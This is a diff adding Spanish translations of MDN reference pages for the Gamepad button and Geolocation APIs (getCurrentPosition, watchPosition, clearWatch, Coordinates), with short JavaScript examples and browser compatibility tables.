+<p>El siguiente código se toma de mi demostración del botón del API de Gamepad (puedes <a href="http://chrisdavidmills.github.io/gamepad-buttons/">ver el demo en vivo</a>, y <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">encontrar el código fuente</a> en Github.) Nota que el código — en Chrome {{domxref("Navigator.getGamepads")}} necesita un prefijo <code>webkit</code> y los valores del botón serán guardados como un array de valores dobles, mientras qe en Firefox {{domxref("Navigator.getGamepads")}} no se necesita un prefijo, y los valores de los botones se guardan como un array de objetos {{domxref("GamepadButton")}}; estas son las propiedades {{domxref("GamepadButton.value")}} o {{domxref("GamepadButton.pressed")}} a las que necesitamos acceder, dependiendo de qué tipo de botones haya. En este simple ejemplo yo solo he permitido estos.</p>
+
+<pre class="brush: js notranslate">function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+
+    if(gp.buttons[0] == 1) {
+      b--;
+    } else if(gp.buttons[1] == 1) {
+      a++;
+    } else if(gp.buttons[2] == 1) {
+      b++;
+    } else if(gp.buttons[3] == 1) {
+      a--;
+    }
+  } else {
+    var gp = navigator.getGamepads()[0];
+
+    if(gp.buttons[0].value &gt; 0 || gp.buttons[0].pressed == true) {
+      b--;
+    } else if(gp.buttons[1].value &gt; 0 || gp.buttons[1].pressed == true) {
+      a++;
+    } else if(gp.buttons[2].value &gt; 0 || gp.buttons[2].pressed == true) {
+      b++;
+    } else if(gp.buttons[3].value &gt; 0 || gp.buttons[3].pressed == true) {
+      a--;
+    }
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = rAF(gameLoop);
+};</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepadbutton-interface", "GamepadButton")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{Compat("api.GamepadButton")}}</p>
+
+<h2 id="Recomendado">Recomendado</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Usando la API de Gamepad</a></p>
diff --git a/files/es/web/api/geolocation/clearwatch/index.html b/files/es/web/api/geolocation/clearwatch/index.html
new file mode 100644
index 0000000000..ceb2cec832
--- /dev/null
+++ b/files/es/web/api/geolocation/clearwatch/index.html
@@ -0,0 +1,134 @@
+---
+title: Geolocation.clearWatch()
+slug: Web/API/Geolocation/clearWatch
+translation_of: Web/API/Geolocation/clearWatch
+---
+<div class="almost_half_cell" id="gt-res-content">
+<div dir="ltr" style="zoom: 1;">{{ APIref("Geolocation API") }}</div>
+
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps">El método</span> <span class="hps"><strong><code>Geolocation.clearWatch()</code></strong></span> <span class="hps">se utiliza para</span> <span class="hps">eliminar el registro de</span> <span class="hps">controladores de</span> <span class="hps">monitoreo</span> <span class="hps">lugar/</span><span class="hps">error</span> <span class="hps">previamente instalados</span> <span class="hps">usando</span> <a href="/es/docs/Web/API/Geolocation.watchPosition"><span class="hps">Geolocation.watchPosition()</span></a><span>.</span></span></div>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">navigator.geolocation.clearWatch(<em>id</em>);</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><em>id</em></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">El número de identificación</span> <span class="hps">que devuelve el método</span> <a href="/es/docs/Web/API/Geolocation.watchPosition"><span class="hps">Geolocation.watchPosition()</span></a> <span class="hps">al instalar</span> <span class="hps">el controlador</span> <span class="hps">que desea eliminar</span><span>.</span></span></dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var id, target, option;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+    console.log('Congratulation, you reach the target');
+    navigator.geolocation.clearWatch(id);
+  }
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+target = {
+  latitude : 0,
+  longitude: 0,
+}
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removido en 15.0<br>
+    Reintroducido en 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobil (Gecko)</th>
+   <th>IE Mobil</th>
+   <th>Opera Mobil</th>
+   <th>Safari Mobil</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Usar_la_Geolocalizaci%C3%B3n">Usar la Geolocalización</a></li>
+ <li><a href="/es/docs/Web/API/Geolocalizaci%C3%B3n">Geolocalización</a></li>
+ <li><a href="/es/docs/Web/API/Geolocation.watchPosition">Geolocation.watchPosition()</a></li>
+ <li><a href="/es/docs/Web/API/Geolocation.getCurrentPosition">Geolocation.getCurrentPosition()</a></li>
+</ul>
diff --git a/files/es/web/api/geolocation/getcurrentposition/index.html b/files/es/web/api/geolocation/getcurrentposition/index.html
new file mode 100644
index 0000000000..436a002971
--- /dev/null
+++ b/files/es/web/api/geolocation/getcurrentposition/index.html
@@ -0,0 +1,130 @@
+---
+title: Geolocation.getCurrentPosition()
+slug: Web/API/Geolocation/getCurrentPosition
+translation_of: Web/API/Geolocation/getCurrentPosition
+---
+<p>{{ APIref("Geolocation API") }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El método <strong><code>Geolocation.getCurrentPosition()</code></strong> se utiliza para obtener la posición de un dispositivo.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">navigator.geolocation.getCurrentPosition(<em>success</em>, <em>error</em>, <em>options</em>)</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em>success</em></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Una función de</span> <span class="hps">devolución de llamada que</span> <span class="hps">toma un objeto</span> <span class="hps">de posición({{domxref("Position")}})</span> <span class="hps">como único</span> <span class="hps">parámetro de entrada.</span></span></dd>
+ <dt><em>error</em> {{optional_inline}}</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Una función</span> <span class="hps">de devolución de llamada</span> <span class="hps">opcional que</span> <span class="hps">toma un objeto</span> {{domxref("PositionError")}} <span class="hps">como único</span> <span class="hps">parámetro de entrada.</span></span></dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>Un objeto opcional {{domxref("PositionOptions")}}.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Your current position is:');
+  console.log('Latitude : ' + crd.latitude);
+  console.log('Longitude: ' + crd.longitude);
+  console.log('More or less ' + crd.accuracy + ' meters.');
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Especificación inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Eliminado en 15.0<br>
+    Reintroducido en 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobil (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobil</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Usar_la_Geolocalizaci%C3%B3n">Usar la geolocalización</a></li>
+ <li><a href="/es/docs/Web/API/Geolocalizaci%C3%B3n">Geolocalización</a></li>
+ <li><a href="/es/docs/Web/API/Geolocation.watchPosition">watchPosition()</a></li>
+</ul>
diff --git a/files/es/web/api/geolocation/index.html b/files/es/web/api/geolocation/index.html
new file mode 100644
index 0000000000..56d37a2314
--- /dev/null
+++ b/files/es/web/api/geolocation/index.html
@@ -0,0 +1,114 @@
+---
+title: Geolocalización
+slug: Web/API/Geolocation
+translation_of: Web/API/Geolocation
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><span id="result_box" lang="es"><span class="hps">La interfaz</span> <strong><span class="hps">Geolocalización</span></strong> <span class="hps">representa</span> <span class="hps">un objeto</span> <span class="hps">capaz de</span> <span class="hps">obtener</span> <span class="hps">mediante programación</span> <span class="hps">la posición</span> <span class="hps">del dispositivo</span><span>.</span> <span class="hps">Se</span> <span class="hps">da</span> <span class="hps">acceso Web</span> de <span class="hps">la ubicación</span> <span class="hps">del dispositivo</span><span>.</span> <span class="hps">Esto</span> <span class="hps">permite a un sitio</span> <span class="hps">Web</span> <span class="hps">o aplicación</span> <span class="hps">ofrecer</span> <span class="hps">resultados personalizados</span> <span class="hps">basados ​​en</span> <span class="hps">la ubicación del usuario</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Se obtiene un</span> <span class="hps">objeto con</span> <span class="hps">esta interfaz</span> <span class="hps">mediante la propiedad </span></span>{{domxref("NavigatorGeolocation.geolocation")}} <span lang="es"><span class="hps">implementado</span> <span class="hps">por el objeto</span> <span class="hps">{{domxref("Navigator")}}.</span></span></p>
+
+<div class="note">
+<p><strong>Nota:</strong> <span id="result_box" lang="es"><span class="hps">Por razones de seguridad</span><span>,</span> <span class="hps">cuando una página</span> <span class="hps">web</span> <span class="hps">intenta obtener acceso a</span> <span class="hps">la información de ubicación</span><span>,</span> <span class="hps">se notifica al usuario</span> <span class="hps">y le pide </span><span class="hps">conceder el permiso</span><span>.</span> <span class="hps">Tenga en cuenta que</span> <span class="hps">cada navegador</span> <span class="hps">tiene sus</span> <span class="hps">propias políticas y</span> <span class="hps">métodos para solicitar</span> <span class="hps">este permiso.</span></span></p>
+</div>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">La</span> <span class="hps">interfaz de</span> <span class="hps">Geolocalización</span> no implementa<span> ni</span> <span class="hps">hereda</span> <span class="hps">propiedades</span><span>.</span></span></p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em><span id="result_box" lang="es"><span class="hps">La interfaz</span> <code><span class="hps">Geolocation</span></code> <span class="hps">no hereda</span> <span class="hps">ningún método.</span></span></em></p>
+
+<dl>
+ <dt><a href="/es/docs/Web/API/Geolocation.getCurrentPosition">Geolocation.getCurrentPosition()</a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Determina</span> <span class="hps">la ubicación actual del</span> <span class="hps">dispositivo y</span> <span class="hps">devuelve</span> <span class="hps">un objeto</span> <span class="hps">de posición({{domxref("Position")}}) con</span> <span class="hps">los datos.</span></span></dd>
+ <dt><a href="/es/docs/Web/API/Geolocation.watchPosition">Geolocation.watchPosition()</a></dt>
+</dl>
+
+<p><span id="result_box" lang="es"><span class="hps">Devuelve un</span> <span class="hps">valor de largo(<code>long</code>)</span> <span class="hps">que representa la función</span> <span class="hps">de devolución de llamada</span> <span class="hps">de reciente creación</span> <span class="hps">que se invoca</span> <span class="hps">cada vez que cambia</span> <span class="hps">la ubicación del dispositivo</span><span>.</span></span></p>
+
+<dl>
+ <dt><a href="/es/docs/Web/API/Geolocation.clearWatch">Geolocation.clearWatch()</a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Elimina el controlador</span> <span class="hps">especial</span> <span class="hps">instalado</span> <span class="hps">previamente utilizando</span></span> <a href="/es/docs/Web/API/Geolocation.watchPosition"><code>watchPosition()</code></a>.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Especificación inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegador">Compatibilidad en navegador</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removido en 15.0<br>
+    Reintroducido en 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Usar_la_Geolocalizaci%C3%B3n">Usar la geolocalización</a></li>
+</ul>
diff --git a/files/es/web/api/geolocation/watchposition/index.html b/files/es/web/api/geolocation/watchposition/index.html
new file mode 100644
index 0000000000..dbd6a1170d
--- /dev/null
+++ b/files/es/web/api/geolocation/watchposition/index.html
@@ -0,0 +1,138 @@
+---
+title: Geolocation.watchPosition()
+slug: Web/API/Geolocation/watchPosition
+translation_of: Web/API/Geolocation/watchPosition
+---
+<p>{{ APIref("Geolocation API") }}</p>
+
+<p><span id="result_box" lang="es"><span class="hps">El método</span> <strong><code>Geolocation.watchPosition()</code></strong> <span class="hps">se utiliza para registrar</span> <span class="hps">una función de controlador</span> <span class="hps">que se llamará</span> <span class="hps">automáticamente cada vez que</span> <span class="hps">la posición</span> <span class="hps">del dispositivo cambia</span><span>.</span> <span class="hps">También puede</span><span>,</span> <span class="hps">opcionalmente</span><span>,</span> <span class="hps">especificar una</span> <span class="hps">función de devolución de</span> <span class="hps">la gestión de errores</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Este método devuelve un</span> <span class="hps">valor de ID de</span> <span class="hps">seguimiento</span> <span class="hps">que</span> <span class="hps">se puede utilizar para</span> <span class="hps">anular el registro del</span> <span class="hps">controlador</span> <span class="hps">pasándolo</span> <span class="hps">al método</span> </span><a href="/es/docs/Web/API/Geolocation.clearWatch">Geolocation.clearWatch()</a>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>id</em> = navigator.geolocation.watchPosition(<em>success</em>, <em>error</em>, <em>options</em>)</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em>success</em></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Una función de</span> <span class="hps">devolución de llamada que</span> <span class="hps">toma un objeto</span> <span class="hps">de posición</span>({{domxref("Position")}}) <span class="hps">como parámetro de entrada</span><span>.</span></span></dd>
+ <dt><em>error</em> {{optional_inline}}</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Una función</span> <span class="hps">de devolución de llamada</span> <span class="hps">opcional que</span> <span class="hps">toma un objeto</span> {{domxref("PositionError")}} <span class="hps">como parámetro de entrada</span><span>.</span></span></dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>Un objeto opcional {{domxref("PositionOptions")}}.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var id, target, option;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+    console.log('Congratulation, you reach the target');
+    navigator.geolocation.clearWatch(id);
+  }
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+target = {
+  latitude : 0,
+  longitude: 0,
+}
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<h2 id="Especificacines">Especificacines</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#watch-position', 'Geolocation.watchPosition()')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Especificación inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Eliminado en 15.0<br>
+    Reintroducido en 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobil (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobil</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Usar_la_Geolocalizaci%C3%B3n">Uso de la geolocalización</a></li>
+ <li><a href="/es/docs/Web/API/Geolocalizaci%C3%B3n">Geolocalización</a>.</li>
+ <li><a href="/es/docs/Web/API/Geolocation.clearWatch">Geolocation.clearWatch()</a></li>
+ <li><a href="/es/docs/Web/API/Geolocation.getCurrentPosition">Geolocation.getCurrentPosition()</a></li>
+</ul>
diff --git a/files/es/web/api/geolocationcoordinates/index.html b/files/es/web/api/geolocationcoordinates/index.html
new file mode 100644
index 0000000000..e59758e448
--- /dev/null
+++ b/files/es/web/api/geolocationcoordinates/index.html
@@ -0,0 +1,113 @@
+---
+title: Coordinates
+slug: Web/API/GeolocationCoordinates
+translation_of: Web/API/GeolocationCoordinates
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p>La interfaz <strong><code>Coordinates</code></strong> representa la posición y altitud del dispositivo en la Tierra, así como la precisión con la cual estas propiedades son calculadas.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>La interfaz <code>Coordinates</code> no hereda ninguna propiedad</em>.</p>
+
+<dl>
+ <dt>{{domxref("Coordinates.latitude")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>double</code> que representa la latitud de la posición en grados con decimales.</dd>
+ <dt>{{domxref("Coordinates.longitude")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>double</code> que representa la longitud de la posición en grados con decimales.</dd>
+ <dt>{{domxref("Coordinates.altitude")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>double</code> que representa la altitud de la posición en metros, relativo al nivel del mar. Este valor puede ser <code>null</code> si la implementación no puede proporcionar la información.</dd>
+ <dt>{{domxref("Coordinates.accuracy")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>double</code> que representa la precisión de las propiedades <code>latitude</code> y <code>longitude</code>, expresada en metros.</dd>
+ <dt>{{domxref("Coordinates.altitudeAccuracy")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>double</code> que representa la precisión de la propiedad <code>altitude</code> expresada en metros. Este valor puede ser <code>null</code>.</dd>
+ <dt>{{domxref("Coordinates.heading")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>double</code> que representa la dirección en la que el dispositivo está viajando. Este valor, indicado en grados, indica la distancia real a la que el dispositivo se encuentra del norte. <code>0</code> grados representa el norte real, y la dirección se determina en el sentido de la agujas del reloj (lo que significa que el este es <code>90</code> grados y el oeste es <code>270</code> grados). Si <code>speed</code> es <code>0</code>, <code>heading</code> es <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/JavaScript/Reference/Global_Objects/NaN">NaN</a></code>. En caso de que el dispositivo no pueda proporcionar la información de <code>heading</code>, este valor es <code>null</code>.</dd>
+ <dt>{{domxref("Coordinates.speed")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>double</code> que representa la velocidad del dispositivo en metros por segundo. Este valor puede ser <code>null</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em><em>La interfaz <code>Coordinates</code> no implementa ni edita ningún método<em>.</em></em></em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#coordinates', 'Coordinates')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Especificación inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Utilizando la geolocalización</a></li>
+ <li>La interfaz {{domxref("Geolocation")}} que la utiliza.</li>
+</ul>
diff --git a/files/es/web/api/geolocationcoordinates/latitude/index.html b/files/es/web/api/geolocationcoordinates/latitude/index.html
new file mode 100644
index 0000000000..0bff2b5c34
--- /dev/null
+++ b/files/es/web/api/geolocationcoordinates/latitude/index.html
@@ -0,0 +1,97 @@
+---
+title: Coordinates.latitude
+slug: Web/API/GeolocationCoordinates/latitude
+translation_of: Web/API/GeolocationCoordinates/latitude
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Coordinates.latitude</strong></code> es una propiedad de sólo lectura que devuelve un <code>double</code> representando la latitud de la posición en grados decimales.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js"><em>lat</em> = <code><em>coordinates</em><code>.latitude</code></code>
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#lat', 'Coordinates.latitude')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Especificación Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Mirar_también">Mirar también</h2>
+
+<ul>
+ <li><a href="/es/docs/WebAPI/Using_geolocation">Uso de geolocalización</a></li>
+ <li>La interfaz {{domxref("Coordinates")}} a la que pertenece.</li>
+</ul>
